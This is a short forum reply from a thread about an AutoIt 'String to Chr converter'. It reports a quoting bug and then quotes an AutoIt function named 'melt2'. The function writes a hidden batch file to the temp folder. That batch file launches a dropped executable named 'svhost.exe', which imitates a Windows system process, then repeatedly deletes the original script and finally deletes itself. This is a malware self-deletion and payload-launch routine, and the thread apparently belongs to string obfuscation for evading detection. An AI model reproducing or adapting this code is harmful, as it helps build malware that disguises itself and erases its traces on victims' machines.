RE: [AutoIt]String to Chr converter 01-05-2013, 11:31 AM
#11
there's a error, it works with : "
but it does not work with : '
but it does not work with : '
![[Image: AQiSh.jpg]](http://i.imgur.com/AQiSh.jpg)
[AutoIt]String to Chr converter filter_list | |
Quote:Func melt2($iDelay = 0)
Local $sCmdFile
FileDelete(@TempDir & "\scratch.bat")
$sCmdFile = 'ping -n ' & $iDelay & '127.0.0.1 > nul' & @CRLF _
& 'start ' & @tempdir & "\" & $randoms & '\svhost.exe' & @CRLF _
& ':loop' & @CRLF _
& 'del "' & @ScriptFullPath & '"' & @CRLF _
& 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _
& 'del ' & @TempDir & '\scratch.bat'
FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
exit
EndFunc